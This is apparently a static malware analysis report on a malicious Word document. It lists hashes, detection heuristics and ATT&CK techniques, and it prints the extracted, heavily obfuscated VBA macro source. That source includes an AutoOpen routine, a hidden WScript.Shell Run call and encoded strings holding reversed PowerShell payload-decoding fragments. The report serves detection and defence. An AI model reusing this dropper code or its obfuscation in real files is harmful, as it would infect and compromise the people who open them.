Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1bb3621d040b2164…

MALICIOUS

Office (OLE)

129.5 KB Created: 2018-03-03 21:29:47 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 08a52ac7a5e6347e6cc87610c3b0e876 SHA-1: 1bea6ea0f1e0831192f92b2af00a890e3dc72f2c SHA-256: 1bb3621d040b2164851b2c5b0928912779170557d8fae44dd1aa3b6cc695db3e
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes Shell() and WScript.Shell, indicating it's designed to execute arbitrary code. The macro is heavily obfuscated, but the presence of these functions strongly suggests it downloads and executes a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6471024-0' further supports this dropper functionality.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6471024-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6471024-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    SzRrqDRvs = aCZkz * uaBOS / WPvnYL - Round(9071595 * CSng(4472059 * CInt(cdiwwX)) + TEfCPP - Round(QtHnXU)) - 544 / OFIYc + vCfG / Rnd(VqwZ) * (9091906 / CDbl(7198816) + (JBHwjQ / CByte(5781759 / CDbl(1438254) - 3911195 / 6038211)))
CreateObject("WScript.Shell").Run QYXCDNXVZVVzR + jvQAUoPa + ZBuYwqwVo + SaRVruV, vbHide
hQIOhcSnk = ZLdo * pXKP / iXovvj - Round(1802747 * CSng(6959009 * CInt(wCdfA)) + jIKrYc - Round(MoYKKa)) - 544 / luLc + mKbM / Rnd(wThKn) * (9937794 / CDbl(9139795) + (dAXjM / CByte(3592003 / CDbl(8169939) - 1495111 / 9419566)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    SzRrqDRvs = aCZkz * uaBOS / WPvnYL - Round(9071595 * CSng(4472059 * CInt(cdiwwX)) + TEfCPP - Round(QtHnXU)) - 544 / OFIYc + vCfG / Rnd(VqwZ) * (9091906 / CDbl(7198816) + (JBHwjQ / CByte(5781759 / CDbl(1438254) - 3911195 / 6038211)))
CreateObject("WScript.Shell").Run QYXCDNXVZVVzR + jvQAUoPa + ZBuYwqwVo + SaRVruV, vbHide
hQIOhcSnk = ZLdo * pXKP / iXovvj - Round(1802747 * CSng(6959009 * CInt(wCdfA)) + jIKrYc - Round(MoYKKa)) - 544 / luLc + mKbM / Rnd(wThKn) * (9937794 / CDbl(9139795) + (dAXjM / CByte(3592003 / CDbl(8169939) - 1495111 / 9419566)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tqnzMNi"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29203 bytes
SHA-256: e11dcd628a6f231774d91cc32b31e521fe3847505c6b83d75b80f563583ef72f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
440 of 633 identifiers look randomly generated (e.g. 'uz2ZFUjwdjBHkDZpvvYwdbZCmkHbOiEDqbV') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tqnzMNi"
Sub AutoOpen()
On Error Resume Next
ctRZialIQ = BamkI * pOJo / nWkai - Round(1862975 * CSng(8835028 * CInt(sGkf)) + GimzMm - Round(XFuZ)) - 544 / WVkcw + CYEpXh / Rnd(ARrCXL) * (3285768 / CDbl(9036074) + (iabpCX / CByte(7071530 / CDbl(404542) - 6494099 / 5454912)))
KFHnJcuXh = mQLE * LULVhi / abrK - Round(235030 * CSng(1690749 * CInt(foCHu)) + usdia - Round(njoIN)) - 544 / XpqC + jAtBi / Rnd(wwblq) * (369515 / CDbl(3482330) + (IQjFSr / CByte(5534278 / CDbl(9067159) - 795865 / 9063490)))
ZlSiviSqd = VHBW * Mhkw / zhWYEw - Round(8158947 * CSng(6943794 * CInt(Kwlvw)) + tNRCz - Round(AYDOB)) - 544 / KqGK + wMwrOu / Rnd(zniTS) * (3595116 / CDbl(6874487) + (CuWz / CByte(3000371 / CDbl(6591118) - 240737 / 4877984)))
wITJCjjtR = EpjA * iSrFJj / GkipM - Round(2931493 * CSng(3926875 * CInt(uJvm)) + ivkX - Round(HpBR)) - 544 / ubCK + hYdrpP / Rnd(jiNW) * (3287535 / CDbl(4846907) + (Futz / CByte(9825903 / CDbl(265468) - 6755207 / 6521635)))
Application.Run "ztDljMJoOjlLjR", tOKEQwzHj
TrCufoVkN = EcZW * DzlfM / JrqP - Round(8253021 * CSng(2339783 * CInt(AiDJI)) + ElpukO - Round(uzMM)) - 544 / ljNqzN + XbKAM / Rnd(ocBji) * (1311334 / CDbl(9062135) + (aSvOC / CByte(210381 / CDbl(3381408) - 9785834 / 2231854)))
JidTFcGKf = nlXuld * vmLK / FRcLR - Round(3555833 * CSng(5321501 * CInt(MDYQAW)) + LjzvZ - Round(RHiC)) - 544 / JlmFf + BsYMru / Rnd(nihd) * (6956391 / CDbl(2574132) + (uPuE / CByte(2483622 / CDbl(7484392) - 3050972 / 7120551)))
NoKtItIqK = YkPH * WUonHq / nWVwd - Round(8981348 * CSng(8242358 * CInt(ssXQi)) + BzlRfs - Round(VLcrm)) - 544 / YkYzI + sAnYMP / Rnd(zcPj) * (2479954 / CDbl(9835817) + (NUWCV / CByte(5423502 / CDbl(9662182) - 9713359 / 3492575)))
LsErdSzUt = VmiO * ZBRtu / fPsJ - Round(740066 * CSng(701742 * CInt(Vdjw)) + icfHYk - Round(fumzd)) - 544 / iGwdTK + ELfc / Rnd(iZPj) * (9807678 / CDbl(3119394) + (ZsAmtS / CByte(5651735 / CDbl(6276178) - 2381917 / 2900787)))
End Sub
Function tOKEQwzHj()
On Error Resume Next
cSmQwPVAsCa.RiwwhfLjnvUqYikVw
KNzCdXPRf = fshu3bbnabn3("Dpf<PU%ZP2DQOZ]OF44dZXFcW0Sj77d48.%fnZ", 26, 2)
cSmQwPVAsCa.RiwwhfLjnvUqYikVw
VviSFjIfVYA.LOzTqirOvOkwkPAwckQi
zzKRTzjW = fshu3bbnabn3("VjGh6O7R4tmWAUDAiBQZA$f wj(87bIWXvi<8vw9utm4TOYj", 28, 9)
VviSFjIfVYA.LOzTqirOvOkwkPAwckQi
ZPTJiTzqh.mcdNXMJXjHpwojt
dAsrUFQKWfj = fshu3bbnabn3("zTX<kK4O!E(E1 yeK- gNiRtSERuCES-OTtREVnOc| '==AAxAgYAEGA2AwNAMDAwAwNAUGAxAQNAQGAk6blFF4]", 8, 69)
ZPTJiTzqh.mcdNXMJXjHpwojt
IzKPjzUNsML.KBZEwiwNofJmciHJNBmVrJUzAQN
jNSlBBor = fshu3bbnabn3("YX2DAlBA_UBVwhX", 8, 5)
IzKPjzUNsML.KBZEwiwNofJmciHJNBmVrJUzAQN
bAYoWdDoUd.sMqaNfvqvCijCBzlHwYF
ERXod = fshu3bbnabn3("FzVnpkDAiBgMAEGAiBgNAIDAjBQMAEDAiBwMAcDAmBgMAYDAyAQNAQGAiBAMAQDAjBQNAUDA4AAZAIDA2AwMAEDA5AgNAkDA3AQOAQGAws$NGU42RZ%6iOdIF]lSX 12jV7q", 29, 99)
bAYoWdDoUd.sMqaNfvqvCijCBzlHwYF
AiKVWvMnKI.ThDdNQAlSOiPIpQiphvTAFZaktKz
wpKiZc = fshu3bbnabn3("Xu9iT2z]FbvSAIGAyAwYAQGAyAAZAkDAzAQOAADAjBgYAIDAkBAMAcDA1AAZAQDAjBgYAEGA5AwMAADA5AANAUDAm4BR", 4, 77)
AiKVWvMnKI.ThDdNQAlSOiPIpQiphvTAFZaktKz
iBYVEuEOhD.rcGWawJWDKCWFnROoiFiFWajX
mXFOwB = fshu3bbnabn3("Z8U4k_mMAIGA0AgZAADA2AQOAkDAyAQZAIGAwAAZAQGAmBQNAkDAwAQYAMGAlBAZAgDA1AgYAUDAjBAMAkDA0AAZAcDAzAgNAADAlBwYAMDAhBAZAgDA4AQOAMGA2AgMAgDW2C9", 5, 124)
iBYVEuEOhD.rcGWawJWDKCWFnROoiFiFWajX
SXmcLApwud.jPNEJrZJwuVAXkIrsTa
GMRZsOuqHN = fshu3bbnabn3("0i2FO!OAMDAxAQOAIGA4AAMAIDAiBAMAQDAwAQYAMDA2AQMAgDAzAgZAIGAhBQNAYGAkBAZAUDA5AQNAADAlBQNAMDAyAwMAIGAjBQOAEGAzAQOAADAzAgNAiWF$Z$Dhb4E1FFG", 16, 114)
SXmcLApwud.jPNEJrZJwuVAXkIrsTa
ZCajwiiUWJaT.DjQSkCGSEAMPAERLmc
oVCdHfm = fshu3bbnabn3("idbEtfjhfGGi1k4mE(s0DszbspjP47A431,322,111,67,601,721,89,691,012,91,781,052,95,091,85,65,31,631,501,031,71,03VWiXD", 6, 78)
ZCajwiiUWJaT.DjQSkCGSEAMPAERLmc
miaYrcMzGZT.qKvNtzrnspDC
AZXZqhVDjvU = fshu3bbnabn3("zlX]z4<D7dsud7W0qub!ozij2AAOAQDA1AQNAYGAyAQNAIDAxAwNAEGAyAQZAkDAyAAOAUDAiBAOAIGA0AQNAIGAjBAMAcDAlBgZAgDAlBQOAgDAzAQNAcDA4AgMAQGA3AwMAcDAiBAZAUGAxAgZAQGAlBgZAMDAxAQOAIGA3AQNAMGAmBAMAcDA5AQMAUELX!hmUPTbGi9m", 15, 166)
miaYrcMzGZT.qKvNtzrnspDC
VZMBLMFhS.kRKWzvhBEKFvdol
vGvGBLljFQ = fshu3bbnabn3("z48Zt]47_zqU7w43240f3476111d29467'($ (rTSBOTgnirtSERuCes::]LAhSrAM.seCivRESPorEtNI.eMitNur[(rtSbGNiRTsoTRtP::]LAhsRAm.SecIvrESpoRetNi.EMItnUr[ ( ()'X'+]31[DILlehS$+]1[diLLehS$ ( &Fjo9wGz4j.!ZNFD1hFfiq", 22, 165)
VZMBLMFhS.kRKWzvhBEKFvdol
UFpUVhdEE.jiwjhdhtwqaWr
lCnrYPHvut = fshu3bbnabn3("l4]jvmTF3!4zn)Eh56ZEARBAMAwGA2BgYAIFANBAMAoGAUBwZAQFAzAgTAYDAWBwRAYGA2BwUAoHA8BgM5435a05061b3179V1@4GSJ3E", 12, 75)
UFpUVhdEE.jiwjhdhtwqaWr
OivfAAwz.rzwSnNzEtiXoMTKuQwPczOlsV
GthQTIJ = fshu3bbnabn3("I4Y2fhlvZbU2Eu9R<!4nzY1j8G!X8jZAEGA3AwYAgDA2AQZAkDAyAANAQDA2AgNAgDAxAQOAcDAwAgNAYDAhBAMAIGAwAgYAgDA5AgNAIGAzAQOAkDAzAQ4lD1z", 6, 87)
OivfAAwz.rzwSnNzEtiXoMTKuQwPczOlsV
LmsETjwBWz.zqEflpzQbltQzJdUVOjzDwNmaHKdP
hWOptG = fshu3bbnabn3("Yo6AIDAlBwYAMGAzAAMAkDAzAANAQDAjBwNAMGA4AAZAQGA4AQYAQDAkBAMAYDA4AQOAEDA5AgNAIGAjBQZAQGAwAwYAQGA4AwNAADAiBAMAEDA4AAZAIGAkBQZAgDA0AwYAUDA1AgNAEGAkBQZAYGAlBQYAUDA5AAOAUDAwAgMAY]87wT!bQqPjdtW7wEYGf1!hF$4GFIF]$", 33, 170)
LmsETjwBWz.zqEflpzQbltQzJdUVOjzDwNmaHKdP
UoMphsSsts.NfuVXzKqYZTjCBnkNsiUVf
akdVGCCQb = fshu3bbnabn3("IhGWWvz[EiGoNAYDA0AQZAkDA4AgYAkDA1AQOAADAlBgYAEGA1AgMAEDAwAgNAQDAmBQYAEDAxAgYAMDAjBgNAEGA4AANAUDAwAAOAEGAyAwMAMDA4AANAMGAxAgZAUGAkBQZAIDA2AgMAIGA3AwYAIGAwAwMAMGAhBQMAYDA2AAZAADAwAgMAkDj!_sUzz", 8, 172)
UoMphsSsts.NfuVXzKqYZTjCBnkNsiUVf
TqSmlKirEi.XmWVpjRGiIZoLqTnEhLViEuLvaa
idTclZHv = fshu3bbnabn3("iZ V9!SYmAUDA2AAOAIGAhBQMAkDAxAANAIGAjBwYAEDA5AgYAYDAlBQNAEGAyAQOAYGA5AwMAEDAzAQYAIGAhBQMAEDA5AQMAADAwAwMAMDAxAAZAgDAkBQNAMGAmBgYAADAhBQNAcDA4AmN2$RuBC4Fm_Z]f9FSWi@ifiqsTtz", 30, 134)
TqSmlKirEi.XmWVpjRGiIZoLqTnEhLViEuLvaa
XumdhzkiQ.aazZEbQYowPtWAzwhCPIRzXjbtkz
MJdMARPR = fshu3bbnabn3("PwYXG]AMAQGA0AQYAYGAlBQOAcDAzAwMAEGA4AANAADAkBQZAYG7Wtob", 6, 45)
XumdhzkiQ.aazZEbQYowPtWAzwhCPIRzXjbtkz
EijrOcqfiKd.VbdvpdKspUkCuPCKAbuS
vHKHnkdwwGN = fshu3bbnabn3("QjqWFUhzYDAwAQNAQGAwAQOAIDAwAANAEDAjBQMAQGAxAAOAEGA4AAOAMDAhBAZAIGAmBgYAMDAkBgNAYGA1AQOAADA2AAMAYGA1AgMAMDAjBQNAYGA3AgMAIGAkBAZAYGAxAANAUGAiBgYAYDAxAQMAYGA4AAMAkDAkBQZAADA5AAZAEGAyAwYAkDAyAQZAgDA5AAMAQDAhBQJqb32fTz8!WDb!SP_4Ozo2dGbLh2wZ7", 32, 198)
EijrOcqfiKd.VbdvpdKspUkCuPCKAbuS
jwtHpvUab.wMANXaXuNWsiLjOQiFc
vujTwoLZIW = fshu3bbnabn3("9qDQw[b]j]N<CKX<wlYSG6oUAlBwMAIGAxAgNAMGA0AAOAIGAjBgNAMGA3AQYAgDAyAQMAUDAyAwYAMGAkBQZAQGA2AQYAcDAjBQMAgDA4AQMOKbfDjH", 8, 85)
jwtHpvUab.wMANXaXuNWsiLjOQiFc
EsSvBwdPXr.sBSBBbJlYYBlMVmLufrmmSKJLWbE
uIFsz = fshu3bbnabn3("jb7VdOE1FYPGzf_OU<v(4iFYAYDAlBwYAcDA4AAOAMGAiBwYAUDA0AwMAkDA5AAZAQDA3AQZAUDAkBwYbdjCjET89", 10, 57)
EsSvBwdPXr.sBSBBbJlYYBlMVmLufrmmSKJLWbE
pfXpOFhtziBi.DCoTrtvLiKLGLzfUHJZO
APiOI = fshu3bbnabn3("2$wj%E87P4ssPtj9GBGA2AQYAcDAkBgMAYGAjBAOAUDAiBQOAUDAzAAOAQDAlBgMAIGA1AgMAkDA3AQYAYDA0AgZAUDAwAwYAQGA4AQZAADAwAQMAUGAiBwNAUDAhBwYAADA2AgYAQDAkBQOAIkUbJzFmGzsSJZ", 14, 128)
pfXpOFhtziBi.DCoTrtvLiKLGLzfUHJZO
QUkXIqqADiU.LrKbkTjVwCwik
nQtYduqUO = fshu3bbnabn3("Fjbh[djGAwAgNAkDA0AQNAQGAyAAMAYp4wh[2]jEm@jwYbWiZZ", 20, 24)
QUkXIqqADiU.LrKbkTjVwCwik
vYUsuRAGOMuB.tGmLUfYBqvdiKrtbbjzTnzU
DwJjO = fshu3bbnabn3("wZhzhqjvN!1GFjwT]GRDA3AQNAYDAlBQOAcDAjBQYAcDA5AgNAcDA5AAOAkDA1AgNAQDAzA0)<%bdFnTw", 11, 52)
vYUsuRAGOMuB.tGmLUfYBqvdiKrtbbjzTnzU
uKzMIjGdiXn.XfGZjhUwacmLYflzEmzBWHrsHWsq
chrZGaDTK = fshu3bbnabn3("biwZvu41upp[buTzuN8Xd1FDAlBwNAMDAlBAMAYDA2AQYAQGAyAgNAIDA0AgYAIDAhBANAQDA5AQYAUGAmBAOAYDA1AAMAMGAkBwMAIDA0AgMAEGAhBgMAEDk8D", 4, 97)
uKzMIjGdiXn.XfGZjhUwacmLYflzEmzBWHrsHWsq
RdPBTtrmdA.HXCjFRiOiKizP
jqjZdMSA = fshu3bbnabn3("Zm]NQAlBQYAIDAhBQOAMDAhBQZAMDA0AwMAIGAwAgMAMDAkBQYAQGA5AwMAQDAyAgYAYDAjBgMAkDAyAgYAIGAyAQYAQDAmBANAcDAzAgZAcDA4AgMAEDAlBQYAkDA3AAMAQDAlBAZAMGA0AQZAQGAxAwMAEDAmBwMAYGA1AgYAIGXqCibUu3", 9, 168)
RdPBTtrmdA.HXCjFRiOiKizP
BnKDdvPVPzmQ.toYaQKjIzpQsZANAkXFRAkLwMw
iYfsUajXin = fshu3bbnabn3("Gi1jBQOAQGA1AgYAIGAlBQNAIDAkBwMAEGAyAANAQDA3AgNAADA2AQZAcDAwAwMAMDAmBAMAkDAwAgYAUGA1AQMAMGAmBwYAcDAlBQNAYGA3AwYAgDAO3XduUi<obZw09fFwz4UT", 22, 112)
BnKDdvPVPzmQ.toYaQKjIzpQsZANAkXFRAkLwMw
ZYYYkfNAJkp.zuujodziarNuJpHcC
zjTSVUn = fshu3bbnabn3("JZO52i!2DDAyAgMAkDA4AQOAQGAhBwYAYDAiBAOAADAiBQZAkDA1AAMAUDAjBQOAUGA2AAOAQGAjBwYAEGAjBANAIGAjBgMAEDAyAgNAIGAhBQMAEGA2AQZAYGA0AgYAcDAlBAMAQGA2AQYAkDAxAQZAkDAiBgYAMGAmBwNAEGA2AANAMDAhBQYAU$OwwffmoUFCZF1Ozp0ONd]H17fqYnm", 31, 176)
ZYYYkfNAJkp.zuujodziarNuJpHcC
wCaMICoatGi.WpvUKjipXTVBQJzXOpmIEV
vToNClrd = fshu3bbnabn3("fhCzs!Ci<QlnRjD$4pLhBwNAQGA5AANAYGA5AQOAADAzAQMAMGAwAAZAQDAzAgZAgDAiBAOAEGA5AgZAgDA0AAMAkDA5AAOAIGAwAwYAADAwAQZAYGA4AQZAMGA3AQOAEDAyAQMAUGAxAQOAgDAwAQOAQGAxAQMAEDA1AANAADAlBwMAIDA1AgYAkDAyAgMAQGAwAgYAJSjzTTbsZ14ZfZ", 15, 180)
wCaMICoatGi.WpvUKjipXTVBQJzXOpmIEV
QvslovhqriPq.qfDCCIqNrnMDvvYhz
LpSCtFJIz = fshu3bbnabn3("vZThfSUzuG8Xf!7Q<fjYpLAzAA]OY4d", 6, 4)
QvslovhqriPq.qfDCCIqNrnMDvvYhz
EpMWZluVP.pWFYPaHspUqbFwKMrKWdsSG
zSFNZiPRzj = fshu3bbnabn3("D36BSqwq(js]zvQ<]m]JGGwlAzAgNAIDA4AwMAQDAiBAMAMDAhBAMAgDAhBwNAEGAwAAMAADAlBgZAEGA2AQMAADAYd1f8D", 7, 65)
EpMWZluVP.pWFYPaHspUqbFwKMrKWdsSG
bmsNrsbW.icGsiiUiPkzpzSPTGti
mKMvSNOsw = fshu3bbnabn3("s9z7R]zmBAMAMDAkBwYAgDAkBQOAQGAko.2Cw7l", 8, 25)
bmsNrsbW.icGsiiUiPkzpzSPTGti
FHTDsrYLHZ.IlUHEruMSjzcYwpcIkQJotKJc
AjpmH = fshu3bbnabn3("kjmfJz92AZAcDA4AAOAUGAzAAZAQGAkBAZAkDAlBgMAIDAyAgMAMGA0AQOAADAwAgNAQGAkBQMAcDAkBwMAYGA5AAZAIGAlBgNAQDA2AQOAMDAiBgYAIDAxAgMAi!zljR6wqW7DYhDiRWR4E_f[i", 26, 115)
FHTDsrYLHZ.IlUHEruMSjzcYwpcIkQJotKJc
HOEbXNTSmR.WamznIVLORlJzF
RivLVc = fshu3bbnabn3("suOs(d8WLGAkBgNAYDA0AQMAQGAzAAZAkDAzAwNAADAlBQMAYDA3AgMAgDAhBgNAMGAlBQOAEGA5AwNAEDA4AAOAcDA0AwYAIDAxAQZAYGAlBAMAQDA4AANAIGAiBwYAkDA1AgMAgDA3AAZAEDA0AgNAEDA3AQZAADA1AgNAUDAkBwMAEDA2AQNAIDAlBQNAUGAiBgYAYDA5AvVcs.GFqzG", 11, 196)
HOEbXNTSmR.WamznIVLORlJzF
wTIZkwammi.zBJBjRCosLhKnqBh
RMVNXRiE = fshu3bbnabn3("Fww5Yl0zBQNAQGAhBwYAUGAwAwYAkDAzAgZAEDAkBAOAMDAxAQOAYGA5AwNAMGAmBQMAYq1NGiv", 7, 61)
wTIZkwammi.zBJBjRCosLhKnqBh
qiHkqwLH.uFYjzfZSJAiVvUCpzqHzb
IBsnIkdqhHv = fshu3bbnabn3("GFszhX8ZfE2bj1W1 ) ) )) )08,581,85,921,181,552,51,301,001,201,UJzPb", 6, 46)
qiHkqwLH.uFYjzfZSJAiVvUCpzqHzb
fMzGuNEEnT.HjVRqmoMfnzfiZvsScQLTBFbnCQZP
nRrZwZHNbPz = fshu3bbnabn3("(Fjum7EUGA3AgYAQGAhBQNAUDAmBgNAMDAwAQYAUDAkBgMAgDA0AgZAcDA2AQYAUGAlBwNAYDA4AAMAUDAiBAMAEDAlBANAUDAhBgZAgDA5AgNAEDA0AwMAUGA4AwYAUDA4AQMAcDAyAgYAADAiBQZAQGA0AQMAQDAzAgZAgDA4AANAADAlBwMAYDA3AF6GEzoo!]iOAnBY4", 17, 181)
fMzGuNEEnT.HjVRqmoMfnzfiZvsScQLTBFbnCQZP
MblpHDQWdj.wzSLBXXpSnmLTiWNtidPz
aKjOt = fshu3bbnabn3("!mFWbbGLOCY1unJUUA1AgNAQGA4AANAgDAiBAMAQGAxAwNAQDAwAQNAkDAkBANAEGA1AAOAcDAxAfnY(f]", 7, 59)
MblpHDQWdj.wzSLBXXpSnmLTiWNtidPz
hKzIhqzdLz.zwiwNJEZFAYzpYPjkhA
hWoLz = fshu3bbnabn3("BVwXU<s!bUq zt0GGu7YlgMAEDA5AgZAkDA5AwNAUDAjBgYAEDA4AgZAEGAyAAOAgDA4AANAMDAhBwYAkDA0AgYAQGAmBgNAUGAzAQYAgDAwAQYAYGAxAQYAQDA4AQNAMDAwAgNAEDA3AgZAEDA4AgZAADAhBAZAYGAwAgYAYGAmBwYAUDAkBwMAYDA0AhRiU]os89B3zHD", 15, 168)
hKzIhqzdLz.zwiwNJEZFAYzpYPjkhA
whksTSfd.tlrGVtqSdNkCpz
EbMvwzo = fshu3bbnabn3("2PvY24wnISwzFCYYAIGA1AgMAEDA4AgNAUDA0AQYAQDA2AQOAQDAjBwMAIDA4AgMAEGA3AgZAMDAlBgYAYDAxAQZAkDA3AQZAgDA0AgMAYGAxAwMAIDTdYwzj3T0GJCw2ot8", 18, 100)
whksTSfd.tlrGVtqSdNkCpz
VvwvVqZsjbO.mrjZifwbSwTTL
SvAcS = fshu3bbnabn3("kzAmBQZAADAwAAMAQDAlBgZAc<j2$7GoYFZ78fUTPDjX[Ei6CJq46id8w2", 34, 23)
VvwvVqZsjbO.mrjZifwbSwTTL
zrStmsNri.ddjGCbmfTzRhIOpMSOjtJqAntXiF
ETYjUIKd = fshu3bbnabn3("Fj]Im4Xi!qEQOAEGAzAgMAYDAxAQYAIGAjBQYAEGAkBQNAgDA1AQMAQGA5AwMAYGAofO0isXYuf", 11, 54)
zrStmsNri.ddjGCbmfTzRhIOpMSOjtJqAntXiF
WRijUrdLVX.kNmrzrUuEWjzoA
aaNXzphf = fshu3bbnabn3("VnAGiCKOzhiGA1AQOAgDAyAANAYDAmBANAYDA0AgYAIDAlBwNAkDA0AgNAMGAzAgMAMDAmBAOAEGAlBgMAYDA3AQOAADAwAgYAMGAyAgMAEXc]FRF(U%%7<", 14, 95)
WRijUrdLVX.kNmrzrUuEWjzoA
DYOBIczhN.jTvQDnvSIFNzJpuPmGTE
ttwLklDE = fshu3bbnabn3("nXiSUi4iGf$@1fzAwMAEGA0AwNAgDAyAwYAEDAiBgMAADAiBQMAYGA3AwMAYDAhBQZAQDA2AAOAADAmBgNAcDAlBwMAYGAyAwMAMDA5AANAUDAyAQNAIDAyAQNAQDAzAANAYGA5AANAgDA2AAOAYGA5AgNAIDAhBAZAIGAmBwNAYDAzAQOAQDA4AgNAETshfGTYNC<Q<%DwW4l", 19, 174)
DYOBIczhN.jTvQDnvSIFNzJpuPmGTE
JPFqAaCfs.mKcDjcuwbOzZjU
NihGCONoV = fshu3bbnabn3("bifz4bffodlWEw]H6zO[pS!OFAxAgMAMGAkBANAEDA5AwMAYGA3AgNAkDAiBgZAQGAmBAOAkDAwAAOAYGA2AANAMDA3AgNAMDA4AwYAEGAhBgYAEDAyAgZAUDAlBQZAYGAyAANAIGAmBQZAYDA0AQOAEDA3AAZAMGA4AgNAUDA2AQNAUGAET<OS2lwG7", 11, 153)
JPFqAaCfs.mKcDjcuwbOzZjU
YszPKjABzZn.lvVzEFOwiwamiswMQYCsJ
JbMSzLv = fshu3bbnabn3("jhiouAyAQYAUDA4AAZAUGA3AgNAgDA2AQNAcDA1AANAUGAzAgYAQGA5AwNAMDAwAAMAUDz2qzlj3D2XFoFcpvsZ1IikOOlqu5", 29, 64)
YszPKjABzZn.lvVzEFOwiwamiswMQYCsJ
iQDOcqzwXL.IfsdqOdGPUmGGQMwav
mRBbvqnwHS = fshu3bbnabn3("ZVzGU742GYUfZd7VCY[qPkBANAMDAjBQOAIGAyAANAUGA0AQMAUGAzAQMAUGAhBwNAEDAkBbbZ4w(X", 8, 50)
iQDOcqzwXL.IfsdqOdGPUmGGQMwav
CTzvKsnjmr.zhqTVjvDmCmUs
tpJUEmZ = fshu3bbnabn3("Zm21tZAMAIDAmBAOAADAlBQOAMDA3AwYAIGA5AAZAADAwAwMAcDAzAwMAMDAyAgMAYGA0AAMAIDA5AAMAIGAmBgNAUGA2AgZAEGAjBgYAYDAjBQMAIGA4AgMAYGAwAgYAkDAlBwNAgDAkBQNAgDAjBwMAMGA5AAMAADAmBgZAYDAzAANAIGAyAgMAMGAjBQIB7F", 5, 185)
CTzvKsnjmr.zhqTVjvDmCmUs
RJYqHDsdfq.UJGScIdCorjLknEXcuJL
TsFFvwYW = fshu3bbnabn3("P8BXU46cZ 988j9dbmU1EGAzAwMAADAmBQMAQGAyAAMAMGAzAgZAEGAjBwMAcDAzAQMAQGA1AgNAQGAmBwNAIDAlBAMAYGA2AQZAkDAzAANAIGA2AgMAMGAlBAOAADAhBQYAMDA3AgYAADAxAQZAkDAyAAOAYGA3AwYAIGAzAQNAYDA2AgYAYDAmBQMAUGA2AAOAMDd2WW684fohO!D", 14, 177)
RJYqHDsdfq.UJGScIdCorjLknEXcuJL
kGZzwoEGrwD.FvzFZEjNJaMfnvWPTwOTV
tvCFiBMvoz = fshu3bbnabn3("bzwmAOAgDA0AgYAMDAjBANAQDAmBgZAQDA4AgMAYGA5AwNAIGA2AQMAQGAlBQZAEo2lwjob!1jvm816]Oqh0Ftfwtmb", 28, 60)
kGZzwoEGrwD.FvzFZEjNJaMfnvWPTwOTV
tRRkEkLoX.htMIfNosLPAiWzjbp
EfbAQUdS = fshu3bbnabn3("OPn]4tYGA1AQm49ovo", 7, 6)
tRRkEkLoX.htMIfNosLPAiWzjbp
UhaYQdCcRqDi.iYRTYzZdlTuvNkJnrfN
XXtiYPMYjJ = fshu3bbnabn3("SR7zDAzAwNAgDA5AwYAQGAhBAMAEGAkBQMAQGAhBAZAYDAwAAZAEDAiBQZAkDA3AwYAIGA0AwMAIGA4AQMAYGA5AQNAEDA0AQMAMGAwAQOAMGAzAAMAkDA1AwNAYGAmBQMAcDA1AQMAQGAusz4sD2[OHzSh42zqmjtOTRw", 25, 137)
UhaYQdCcRqDi.iYRTYzZdlTuvNkJnrfN
lOswmGHR.DGlMEnkCKjCrwRiGFVWjjzhqsKpNl
OFSwrE = fshu3bbnabn3("4.X0FbzznzIDAzAAZAQGAhBQNAEDAyAgMAMDAmBwMAkDAmBAMAIDA2AAZAcDAwAQOAwHA9AQPAELu]iIhEX6us(42ESwmwubcjqEO26z", 30, 65)
lOswmGHR.DGlMEnkCKjCrwRiGFVWjjzhqsKpNl
ZXsziKckL.wVXCzZvPKarOzTzdFzqjYqWiW
MmiuNujW = fshu3bbnabn3("O$2!F98tf7Sj@TW4fG6TX1qjiDAzAgMAUDAiBgMAkDAiBAMAgDAxAgMAMDA2AANAYGA2AAOAIDA5AwYAUDAhBQYAYGA0AwMAEDAxAAMAkDAwAQNAUDAmBgMAYDAlBQMD1jK0V6t(", 10, 102)
ZXsziKckL.wVXCzZvPKarOzTzdFzqjYqWiW
mMPSvuJRlXw.ATcHurbBzWubzqCbRvJIZtjW
rtrLumEUkTG = fshu3bbnabn3("sVdtwf7ZFpE1FLosiGcG%zJ4bA4AwMAcz", 2, 7)
mMPSvuJRlXw.ATcHurbBzWubzqCbRvJIZtjW
whAEzQJR.tSRsSzYXzhNfb
